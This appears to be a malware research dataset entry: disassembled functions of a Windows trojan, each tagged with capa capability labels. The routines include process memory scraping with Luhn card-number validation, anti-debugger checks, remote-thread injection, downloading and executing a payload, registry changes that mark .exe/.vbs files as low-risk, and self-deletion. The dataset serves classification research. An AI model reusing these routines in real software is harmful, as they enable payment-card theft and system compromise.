joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006520
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 0x10]
push edi
or edi, 0xffffffff
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [esi]
test eax, eax
je 0x10006551
push eax
call fcn.1000830b
add esp, 4
mov dword [esi], 0
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x100065dd
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x8004
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100065dd
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100065dd
push 1
push 0x14
mov dword [ebp + 0xc], 0x14
call fcn.100082cb
add esp, 8
mov dword [esi], eax
lea ecx, [ebp + 0xc]
push 0
push ecx
push eax
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
jne 0x100065db
mov eax, dword [esi]
test eax, eax
je 0x100065dd
push eax
call fcn.1000830b
add esp, 4
mov dword [esi], 0
jmp 0x100065dd
xor edi, edi
mov eax, dword [ebp - 8]
test eax, eax
je 0x100065ed
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 4]
test eax, eax
je 0x100065fb
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10006640
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 1
push 0x14
call fcn.100082cb
mov ecx, dword [ebp + 8]
mov esi, eax
push 0
push 0
push esi
mov dword [ecx], esi
mov ecx, dword [ebp + 0xc]
push 0x10006c40
mov dword [esi + 4], ecx
mov ecx, dword [ebp + 0x10]
push 0
push 0
mov dword [esi + 8], ecx
mov dword [esi + 0x10], 2
call fcn.1000ae33
mov dword [esi], eax
add esp, 0x20
neg eax
sbb eax, eax
neg eax
dec eax
pop esi
pop ebp
ret

Function at 0x10006690
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push 1
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
neg eax
sbb eax, eax
inc eax
pop ebp
ret
Function at 0x401fc0
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xc4
push 0x9c
push 0
lea eax, [ebp - 0x2c]
push eax
call fcn.00401940
add esp, 0xc
push 0x24
push 0
lea ecx, [ebp - 0x50]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x2c], 0x9c
cmp dword [0x408b70], 1
jne 0x402021
push str.GetNativeSystemInfo
push 0x40749c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0x70], eax
lea edx, [ebp - 0x50]
push edx
call dword [ebp + 0x70]
jmp 0x40202b
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x28], 5
jne 0x402055
cmp dword [ebp - 0x24], 0
jne 0x402055
push str.Windows_2000
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 5
jne 0x402075
cmp dword [ebp - 0x24], 1
jne 0x402075
push str.Windows_XP
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 5
jne 0x40210c
cmp dword [ebp - 0x24], 2
jne 0x40210c
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
jne 0x4020af
movzx edx, word [ebp - 0x50]
cmp edx, 9
jne 0x4020af
push str.Windows_XP_Professional_x64
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x4020cf
push str.Windows_Server_2003
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx edx, word [ebp + 0x6c]
and edx, 0x8000
jne 0x4020ef
push str.Windows_Home_Server
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x40210c
push str.Windows_Server_2003_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 6
jne 0x40214c
cmp dword [ebp - 0x24], 0
jne 0x40214c
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x402132
push str.Windows_Vista
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
je 0x40214c
push str.Windows_Server_2008
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 6
jne 0x40218a
cmp dword [ebp - 0x24], 1
jne 0x40218a
movzx eax, byte [ebp + 0x6e]
cmp eax, 1
je 0x402172
push str.Windows_Server_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x40218a
push str.Windows_7
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add ebp, 0x74
mov esp, ebp
pop ebp
ret
Function at 0x402200
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push 0x128
push 0
lea eax, [ebp - 0x140]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x140], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0x1000
mov eax, dword [ebp - 0xc]
push eax
push 8
mov ecx, dword [0x408b0c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x18], 0
push 0x104
push 0
lea ecx, [ebp - 0x244]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp - 0x11c]
push edx
push 0x40756c
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
jbe 0x402324
mov eax, dword [ebp - 4]
push eax
push 8
mov ecx, dword [0x408b0c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 8]
push eax
push 8
mov ecx, dword [0x408b0c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x244]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x18], 0
je 0x402345
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40227b
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x402650
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
call fcn.00402cb0
push 0
push 0x84200000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x408b74]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1c], eax
push 0x40
push 0
lea edx, [ebp - 0x5c]
push edx
call fcn.00401940
add esp, 0xc
push 0x3f
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x15c]
push ecx
call fcn.00401290
add esp, 0xc
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x15c]
push eax
call fcn.004027e0
add esp, 8
test eax, eax
jne 0x4026c0
xor eax, eax
jmp 0x4027d5
lea ecx, [ebp - 0x5c]
mov dword [ebp - 8], ecx
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004025b0
add esp, 8
mov edx, dword [ebp - 0x14]
push edx
push 0
mov eax, dword [0x408b0c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xc], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
call fcn.00402cb0
lea eax, [ebp - 0x18]
push eax
push 0x200
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402768
cmp dword [ebp - 0x18], 0
jne 0x40276a
jmp 0x402773
mov eax, 1
test eax, eax
jne 0x40273f
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004016f0
add esp, 0x10
mov dword [ebp - 4], eax
push 5
mov eax, dword [ebp - 4]
push eax
push 0x408400
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.004014d0
add esp, 0x10
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [0x408b0c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x402d00
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0xc], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x402d7d
mov dword [ebp - 0x134], 0x128
lea eax, [ebp - 0x134]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x402d73
mov edx, dword [ebp - 0x12c]
cmp edx, dword [ebp - 0xc]
jne 0x402d5f
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 8], eax
jmp 0x402d73
lea ecx, [ebp - 0x134]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402d49
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x402de0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0
jmp 0x402df8
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x402e00
jmp 0x402def
call fcn.00403450
test eax, eax
jne 0x402e10
xor eax, eax
jmp 0x402ee9
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0xc]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x40779c
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 4], 1
jne 0x402e52
jmp 0x402e99
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0x25
push 0x25
push 0
push 0x408b40
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push 0x408b40
lea ecx, [ebp - 4]
push ecx
push 0
push 0x407770
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402e99
jmp 0x402e99
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4a
push 0
push 0x408640
call fcn.00401940
add esp, 0xc
push 0x4a
push 0x408640
push 0x408b40
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x408b40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call fcn.004034a0
test eax, eax
je 0x402ee4
call fcn.00403490
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4032f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x10], 0
push str..exe_.bat_.reg_.vbs_
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
jmp 0x403324
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
push 5
push 0x408224
call fcn.00403470
add esp, 8
cmp dword [ebp - 8], eax
jge 0x40333f
call fcn.00403480
jmp 0x40331b
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x403372
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 4]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
jmp 0x403377
jmp 0x403443
mov eax, dword [ebp - 0x14]
push eax
push str..exe_.bat_.reg_.vbs_
push 1
push 0
push str.LowRiskFileTypes
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x4078a8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push 0
push 0x4078ec
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40340c
jmp 0x40342f
push 4
lea edx, [ebp - 0xc]
push edx
push 4
push 0
push str.1806
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x10
push str.Error
push str.Failed_to_open_registry_key
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esp, ebp
pop ebp
ret
Function at 0x4034d0
Capabilities:
Create process on windows
Create process suspended
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4034e8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x44
push 0
lea eax, [ebp - 0x6c]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x6c], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [0x40822c], 1
call fcn.004013c0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jne 0x403529
jmp 0x40354a
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 1
push 0
push 0
push 0
push 0x408420
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 2
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [0x408228]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, dword [ebp - 0x10]
mov dword [0x408228], ecx
cmp dword [ebp + 8], 1
jne 0x4035b7
mov edx, dword [0x408230]
mov dword [0x408234], edx
mov eax, dword [ebp - 0x20]
mov dword [0x408238], eax
push 2
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [0x40823c]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, dword [ebp - 0x14]
mov dword [0x40823c], ecx
mov dword [ebp + 8], 0
jmp 0x40356f
mov edx, dword [0x408b10]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00403770
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4035db
jmp 0x403613
mov edx, entry0
sub edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 0x18], edx
push 0
push 0
push 0
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x403613
cmp dword [ebp + 8], 0
jne 0x403613
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x4036a0
Capabilities:
Check for debugger via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
cmp dword [ebp - 4], 0
je 0x4036e2
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x403f60
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
push 0x128
push 0
push 0x4082c0
call fcn.00401940
add esp, 0xc
mov dword [0x4082c0], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x18], eax
push 0x4082c0
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32First
push 0x4082e4
call fcn.004041b0
add esp, 4
cmp eax, 1
jne 0x403fbc
jmp 0x404153
mov ecx, dword [0x408230]
cmp ecx, dword [0x4082c8]
je 0x403fd8
mov edx, dword [0x408230]
cmp edx, dword [0x4082d8]
jne 0x403fdd
jmp 0x404153
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4082c8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40400d
jmp 0x404153
cmp dword [0x408b70], 1
jne 0x404039
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [0x408b78]
cmp dword [ebp - 0x20], 0
jne 0x404039
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404153
mov dword [ebp - 0xc], 0
mov ecx, 1
test ecx, ecx
je 0x404149
push 0x1c
push 0
lea edx, [ebp - 0x40]
push edx
call fcn.00401940
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x40], 0
jne 0x404082
cmp dword [ebp - 0xc], 0
je 0x404082
jmp 0x404149
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 1
jne 0x40409e
mov edx, dword [ebp - 0x2c]
and edx, 0x100
je 0x4040a0
jmp 0x404040
mov dword [ebp - 8], 0
cmp dword [ebp - 0x34], 0
jbe 0x404144
cmp dword [ebp - 8], 0
je 0x4040c4
mov eax, dword [ebp - 8]
add eax, 0x64000
mov dword [ebp - 8], eax
jmp 0x4040ca
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x34], 0x64000
jbe 0x4040e8
mov dword [ebp - 0x1c], 0x64000
mov edx, dword [ebp - 0x34]
sub edx, 0x64000
mov dword [ebp - 0x34], edx
jmp 0x4040f5
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [0x408240]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00404200
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00404b20
add esp, 8
jmp 0x4040a7
jmp 0x404040
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4082c0
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403fa5
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x4053c0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x24], 9
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x40543e
cmp dword [ebp - 8], 0
jne 0x405431
mov dword [ebp - 0x10], 1
jmp 0x405438
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
je 0x405485
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
sub edx, 0x30
mov dword [ebp - 0x14], edx
cmp dword [ebp - 8], 0
je 0x405470
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x40547a
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + ecx*4 - 0x48]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x405422
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 0xa
idiv ecx
test edx, edx
jne 0x40549d
mov dword [ebp - 0x1c], 1
jmp 0x4054a4
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x405d00
Capabilities:
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
call fcn.00405f50
push 0
mov eax, dword [0x408b08]
push eax
call fcn.00405fb0
add esp, 8
push 0
mov ecx, dword [0x408b04]
push ecx
call fcn.00405c80
add esp, 8
mov edx, dword [0x408b00]
push edx
call fcn.00405c90
add esp, 4
call fcn.00405ee0
push 0x4086a0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x405d52
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x405d60
Capabilities:
Create directory
Create process on windows
Create process suspended
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
call fcn.00405f70
test eax, eax
jne 0x405ec6
mov dword [ebp - 4], 0
call fcn.00405cc0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
and eax, 0x80000001
jns 0x405d94
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x405d9c
jmp 0x405daf
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00402650
add esp, 8
mov dword [ebp - 4], eax
lea eax, [ebp - 0x484]
push eax
push 0
push 0
push 0x20
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 5
lea ecx, [ebp - 0x20]
push ecx
call fcn.00401340
add esp, 8
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x484]
push eax
push 0x407db0
lea ecx, [ebp - 0x27c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x27c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x484]
push edx
push 0x407dbc
lea eax, [ebp - 0x27c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x27c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x44
push 0
lea eax, [ebp - 0x74]
push eax
call fcn.00401940
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x30]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x74]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x27c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret